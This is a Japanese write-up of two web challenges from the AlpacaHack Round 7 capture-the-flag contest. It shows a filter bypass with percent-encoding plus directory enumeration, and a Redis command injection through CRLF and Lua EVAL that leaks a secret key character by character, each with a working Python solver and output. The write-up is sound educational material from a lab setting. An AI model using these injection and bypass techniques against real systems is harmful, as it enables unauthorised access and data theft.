AlpacaHack Round 7 (Web)へ参加しました。そのwrite-up記事です。
コンテスト概要
2024/11/30(日) 12:00 +09:00 - 11/30(日) 18:00 +09:00
の6時間開催でした。他ルールはコンテストページから引用します:
AlpacaHack Round 7 (Web) へようこそ! AlpacaHack は個人戦の CTF を継続して開催する新しいプラットフォームです。 AlpacaHack Round 7 は AlpacaHack で行われる 7 回目の CTF で、Web カテゴリから 4 問が出題されます。 幅広い難易度の問題が出題されるため、初心者を含め様々なレベルの方に楽しんでいただけるようになっています。 問題作成者は st98、ark です! 参加方法 1. 右上の「Sign Up」ボタンから AlpacaHack のユーザー登録をしてください。 2. 登録完了後、このページの「Register」ボタンを押して CTF の参加登録をしてください。 注意事項 - AlpacaHack は個人戦のCTFプラットフォームであるため、チームでの登録は禁止しています。 - 問題は運営が想定した難易度の順に並んでいます。 - 問題の配点は解いた人数に応じて変動します。 - フラグフォーマットは Alpaca{...} です。 - 全てのアナウンスは AlpacaHack の Discord サーバー で行われます。 - アナウンスは本サービス上でも行うことがありますが、Discord サーバーが主な連絡手段となります。 - 問題が発生した場合、#ticket チャンネルから連絡してください。ただし、問題のヒントは提供しません。 - 競技システム自体への攻撃は行わないでください。なお、偶然発見したバグの報告は歓迎します。
これまでのRound同様に問題は運営が想定した難易度の順に並んでいます
と明記されており、並び順で想定難易度が示されました。
なお今回は、コンテスト中に4問目に非想定解法が見つかったとのことで、リベンジ問題の5問目が追加されています。リベンジ問題の配布ファイルパスワードは4問目のフラグであるため、何が変化したかは私は分かっていません。
結果
正の得点を得ている78人中、262点で25位でした:
また、Certificate箇所から順位の証明書も表示できます:
環境
WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.5198] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 docker-desktop-data Running 2 kali-linux Stopped 2 docker-desktop Running 2 Ubuntu-22.04 Running 2 c:\>
他ソフト
- Google Chrome Version 131.0.6778.86 (Official Build) (64-bit)
WSL2(Ubuntu 24.04)
$ cat /proc/version Linux version 5.15.167.4-microsoft-standard-WSL2 (root@f9c826d3017f) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Tue Nov 5 00:21:55 UTC 2024 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04.1 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04.1 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show pip | grep Version: Version: 24.0 $ python3 -m pip show httpx | grep Version: Version: 0.27.0 $ curl --version curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7 Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.5 Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd $ docker --version Docker version 27.2.0, build 3ab4256 $
解けた問題
[Web] Treasure Hunt (71 solves, 116 points)
Can you find a treasure?
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./compose.yaml: ASCII text ./web/Dockerfile: ASCII text ./web/index.js: JavaScript source, Unicode text, UTF-8 text ./web/package-lock.json: JSON text data ./web/package.json: JSON text data ./web/public/alpaca: Unicode text, UTF-8 text ./web/public/book: Unicode text, UTF-8 text ./web/public/crown: Unicode text, UTF-8 text ./web/public/drum: Unicode text, UTF-8 text ./web/public/duck: Unicode text, UTF-8 text ./web/public/key: Unicode text, UTF-8 text ./web/public/pen: Unicode text, UTF-8 text ./web/public/tokyo/tower: Unicode text, UTF-8 text ./web/public/wind/chime: Unicode text, UTF-8 text $
web/index.js
は次の内容でした:
import express from "express"; const html = ` <h1>Treasure Hunt 👑</h1> <p>Can you find a treasure?</p> <ul> <li><a href=/book>/book</a></li> <li><a href=/drum>/drum</a></li> <li><a href=/duck>/duck</a></li> <li><a href=/key>/key</a></li> <li><a href=/pen>/pen</a></li> <li><a href=/tokyo/tower>/tokyo/tower</a></li> <li><a href=/wind/chime>/wind/chime</a></li> <li><a href=/alpaca>/alpaca</a></li> </ul> `.trim(); const app = express(); app.use((req, res, next) => { res.type("text"); console.log(req.url); if (/[flag]/.test(req.url)) { res.status(400).send(`Bad URL: ${req.url}`); return; } next(); }); app.use(express.static("public")); app.get("/", (req, res) => res.type("html").send(html)); app.listen(3000);
肝心のフラグは、Dockerfile
中で./web/public
以下の深いディレクトリへ作成されます:
FROM node:22.11.0 WORKDIR /app COPY public public # Create flag.txt RUN echo 'Alpaca{REDACTED}' > ./flag.txt # Move flag.txt to $FLAG_PATH RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \ && mkdir -p $(dirname $FLAG_PATH) \ && mv flag.txt $FLAG_PATH # 以降省略
$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)
箇所を試すと3/8/7/6/9/1/7/c/b/d/1/b/3/d/b/1/2/e/3/9/5/8/7/c/6/6/a/c/2/8/9/1
のようなパスになりました。その中へ /f/l/a/g/./t/x/
ディレクトリが作成され、最後のt
ファイルへフラグ内容が書き込まれます。index.js
中にapp.use(express.static("public"));
行があることから、public
ディレクトリ以下の内容をHTTP経由で取得できます。
一方でフラグを取得するには、次の2点を解決する必要があります:
t
ファイルのパスはフラグ内容のMD5を基準に作成されているため、途中のディレクトリを探索する必要があります。app.use
で登録しているミドルウェア中でif (/[flag]/.test(req.url))
分岐があり、その分岐を回避する必要があります。ルートパス用のHTMLページに記載されているリンクの中でも、/alpaca
パスは分岐に引っかかるため表示されません。
1つめのディレクトリ探索について試行錯誤すると、存在するディレクトリ名で終わるパスなら301 Moved Permanently
レスポンスが、存在しないディレクトリ名で終わるパスなら404 Not Found
レスポンスが得られることが分かりました。各階層のディレクトリ名1文字について探索して301
レスポンスが返るディレクトリ名から、フラグが保存されているパスを判断できそうです:
$ curl -I http://localhost:3000/3 HTTP/1.1 301 Moved Permanently X-Powered-By: Express Content-Type: text/html; charset=UTF-8 Content-Length: 151 Content-Security-Policy: default-src 'none' X-Content-Type-Options: nosniff Location: /3/ Date: Sat, 30 Nov 2024 09:19:28 GMT Connection: keep-alive Keep-Alive: timeout=5 $ curl -I http://localhost:3000/2 HTTP/1.1 404 Not Found X-Powered-By: Express Content-Type: text/html; charset=utf-8 Content-Security-Policy: default-src 'none' X-Content-Type-Options: nosniff Content-Length: 141 Date: Sat, 30 Nov 2024 09:19:29 GMT Connection: keep-alive Keep-Alive: timeout=5 $
2つ目のif (/[flag]/.test(req.url))
分岐回避に苦労しました。色々試行錯誤すると、分岐に使われるreq.url
内容を調べるとパーセントエンコーディング箇所はデコードされずにそのまま格納されていたため、パーセントエンコーディングしつつ大文字表記にすると回避できました。サンプルの/alpaca
での例です:
$ curl -i http://localhost:3000/alpaca HTTP/1.1 400 Bad Request X-Powered-By: Express Content-Type: text/plain; charset=utf-8 Content-Length: 16 ETag: W/"10-xsbtdQpwKeIif0fVAvppFVOuspA" Date: Sat, 30 Nov 2024 09:21:07 GMT Connection: keep-alive Keep-Alive: timeout=5 Bad URL: /alpaca $ curl -i http://localhost:3000/%61%6C%70%61%63%61 HTTP/1.1 200 OK X-Powered-By: Express Content-Type: text/plain; charset=utf-8 Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Fri, 29 Nov 2024 17:23:06 GMT ETag: W/"5-19378f29c90" Content-Length: 5 Date: Sat, 30 Nov 2024 09:23:06 GMT Connection: keep-alive Keep-Alive: timeout=5 🦙 $
2点とも解決できたので、自動的に探索するソルバーを書きました。なお、HTTP用クライアントとしてよく使われているrequests
ライブラリの場合は、HEADメソッド以外、例えばGETメソッドの場合は自動的にリダイレクト後の内容を再取得します。一方でhttpx
ライブラリの場合は自動ではリダイレクトしません。このためhttpx
ライブラリを使う方が簡単に書けると思います:
#!/usr/bin/env python3 import httpx BASE_URL = "http://localhost:3000" BASE_URL = "http://198.51.100.1:3000" with httpx.Client(base_url=BASE_URL) as client: candidates = ( "0123456789abcdef" + "flagtxt" ) # .を入れると無限ループします。それはそう。 flag_path = "" for i in range(128): for c in candidates: current_path = flag_path + "/%" + f"{int(ord(c)):02x}".upper() response = client.get(current_path) if response.status_code == 200: print(response.text) exit(0) if response.status_code == 301: flag_path = current_path break
実行しました:
$ time ./solve.py Alpaca{alpacapacapacakoshitantan} ./solve.py 0.83s user 0.03s system 1% cpu 1:08.39 total $
フラグを入手できました: Alpaca{alpacapacapacakoshitantan}
あるぱかぱかぱかこしたんたん。
[Web] Alpaca Poll (42 solves, 146 points)
Dog, cat, and alpaca. Which animal is your favorite?
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./compose.yaml: ASCII text ./web/.dockerignore: ASCII text ./web/db.js: JavaScript source, Unicode text, UTF-8 text ./web/Dockerfile: ASCII text ./web/index.js: JavaScript source, ASCII text ./web/package-lock.json: JSON text data ./web/package.json: JSON text data ./web/redis.conf: ASCII text ./web/start.sh: Bourne-Again shell script, ASCII text executable ./web/static/alpaca.svg: SVG Scalable Vector Graphics image ./web/static/index.html: HTML document, Unicode text, UTF-8 text ./web/static/style.css: ASCII text
Dockerfile
は最終的にstart.sh
を起動する内容で、start.sh
はRedisサーバーとWebサーバーを同時に起動する内容です:
#!/bin/bash redis-server ./redis.conf & sleep 3 node index.js
web/index.js
は次の内容で、web/db.js
を使いながら、フラグを含むDBの初期設定をしつつ、/vote
および/votes
エンドポイントを提供しています:
import fs from 'node:fs/promises'; import express from 'express'; import { init, vote, getVotes } from './db.js'; const PORT = process.env.PORT || 3000; const FLAG = process.env.FLAG || 'Alpaca{dummy}'; process.on('uncaughtException', (error) => { console.error('Uncaught Exception:', error); }); const app = express(); app.use(express.urlencoded({ extended: false })); app.use(express.static('static')); const indexHtml = (await fs.readFile('./static/index.html')).toString(); app.get('/', async (req, res) => { res.setHeader('Content-Type', 'text/html'); return res.send(indexHtml); }); app.post('/vote', async (req, res) => { let animal = req.body.animal || 'alpaca'; // animal must be a string animal = animal + ''; // no injection, please animal = animal.replace('\r', '').replace('\n', ''); try { return res.json({ [animal]: await vote(animal) }); } catch { return res.json({ error: 'something wrong' }); } }); app.get('/votes', async (req, res) => { return res.json(await getVotes()); }); await init(FLAG); // initialize Redis app.listen(PORT, () => { console.log(`server listening on ${PORT}`); });
web/db.js
は次の内容で、Redisサーバーとの送受信を担当しています:
import net from 'node:net'; function connect() { return new Promise(resolve => { const socket = net.connect('6379', 'localhost', () => { resolve(socket); }); }); } function send(socket, data) { console.info('[send]', JSON.stringify(data)); socket.write(data); return new Promise(resolve => { socket.on('data', data => { console.info('[recv]', JSON.stringify(data.toString())); resolve(data.toString()); }) }); } export async function vote(animal) { const socket = await connect(); const message = `INCR ${animal}\r\n`; const reply = await send(socket, message); socket.destroy(); return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number } const ANIMALS = ['dog', 'cat', 'alpaca']; export async function getVotes() { const socket = await connect(); let message = ''; for (const animal of ANIMALS) { message += `GET ${animal}\r\n`; } const reply = await send(socket, message); socket.destroy(); let result = {}; for (const [index, match] of Object.entries([...reply.matchAll(/\$\d+\r\n(\d+)/g)])) { result[ANIMALS[index]] = parseInt(match[1], 10); } return result; } export async function init(flag) { const socket = await connect(); let message = ''; for (const animal of ANIMALS) { const votes = animal === 'alpaca' ? 10000 : Math.random() * 100 | 0; message += `SET ${animal} ${votes}\r\n`; } message += `SET flag ${flag}\r\n`; // please exfiltrate this await send(socket, message); socket.destroy(); }
web/db.js
のinit
関数で、dog
、cat
、alpaca
キーについてアルパカを優遇しつつ票数を設定すると同時に、flag
キーへフラグを登録しています。flag
キー内容を取得することが目的です。しかし次の課題があります:
- こちらの入力を送信できる唯一のエンドポイント
/vote
で、文字列へ変換しつつ、\r
および\n
をreplace
関数で除外しています。 - Redisサーバーの応答を得られる唯一のエンドポイント
/votes
では、flag
キーは対象外であり、かつ対象となるキーでも数値のみを抽出します。そのため何らかの方法でフラグ内容を数値へ変換して、取得する必要があります。
コンテスト中は1つ目の課題に相当悩んだのですが、実は分かると簡単でした。JavaScriptのString.replace()関数は、最初に出現したパターンのみを置き換え、2個目以降のパターンは置き換えません。そのため\r\n
を2回以上含めると、Redis通信の任意位置へ改行文字を含ませることができます。Redisの通信プロトコルRedis serialization protocol specificationを調べるとThe \r\n (CRLF) is the protocol's terminator, which always separates its parts.
とあり、\r\n
でコマンドが区切られることが分かります。つまり\r\n
を挿入することで、Redis通信へのコマンドインジェクションができます。(調べるとRedisはNoSQLの文脈で語られることが多いようで、NoSQL Injectionの1つのようです)
Redis通信へのコマンドインジェクションができるようになったので、あとはどうにかして、votes
コマンドで取得できる形式でフラグ文字列を操作する必要があります。RedisのCommandsページ を探しました。
最初は「GETコマンドは文字列を返すのでStringグループの関数からそれらしいコマンドを探せばいい?」と思っていました。しかし、取得するだけか、設定するだけのコマンドばかりであり、「flag
キー内容を加工しつつcat
キーへ書き込み」等を一度にできるコマンドは無さそうでした。
困って他のグループを探していると、Scripting and functionsグループにEVALコマンドを見つけました。使用例を調べていると、redis.call
関数でLuaスクリプトからRedisの機能を呼び出せるようです。
最終的に、次の手順になりました:
- RedisのGETRANGE関数で、
flag
キーから指定index番目の文字を取得 - Luaのstring.byte関数で、文字のコードを取得
- Luaのtostring関数で、コードを文字列型へ変換
- RedisのSET関数で、
/votes
エンドポイントから取得できるdog
キーへ、変換結果を設定
Lua入門しつつ書いたソルバーです。なお、Luaスクリプトを複数行表記にしてしまうと、Redisの-ERR Protocol error: unbalanced quotes in request
エラーになるようです。そのためセミコロンで文を区切って1行へ収めました:
#!/usr/bin/env python3 import httpx BASE_URL = "http://localhost:3000" BASE_URL = "http://198.51.100.1:3000" with httpx.Client(base_url=BASE_URL) as client: flag = "" for i in range(64): lua_code = f""" local value = redis.call('GETRANGE', 'flag', {i}, {i}); return redis.call('SET', 'dog', tostring(string.byte(value))); """.replace("\n", " ") r1 = client.post( "/vote", data={"animal": "\r\nalpaca\r\n" + f"""EVAL "{lua_code}" 0"""} ) flag += chr(client.get("/votes").json()["dog"]) print(flag) if flag.endswith("}"): break
実行しました:
$ time ./solve.py A Al Alp Alpa Alpac Alpaca Alpaca{ Alpaca{e Alpaca{ez Alpaca{ezo Alpaca{ezot Alpaca{ezota Alpaca{ezotan Alpaca{ezotanu Alpaca{ezotanuk Alpaca{ezotanuki Alpaca{ezotanuki_ Alpaca{ezotanuki_m Alpaca{ezotanuki_mo Alpaca{ezotanuki_mof Alpaca{ezotanuki_mofu Alpaca{ezotanuki_mofum Alpaca{ezotanuki_mofumo Alpaca{ezotanuki_mofumof Alpaca{ezotanuki_mofumofu Alpaca{ezotanuki_mofumofu} ./solve.py 0.20s user 0.03s system 2% cpu 9.986 total $
フラグを入手できました: Alpaca{ezotanuki_mofumofu}
えぞたぬきもふもふ。
感想
- Redis関係を初めてまともに調べました。少し詳しくなれました!
- Webジャンルへ取り組むたびに、WEBでは様々なサーバーや技術スタックが使われていると感じています。幅広いです。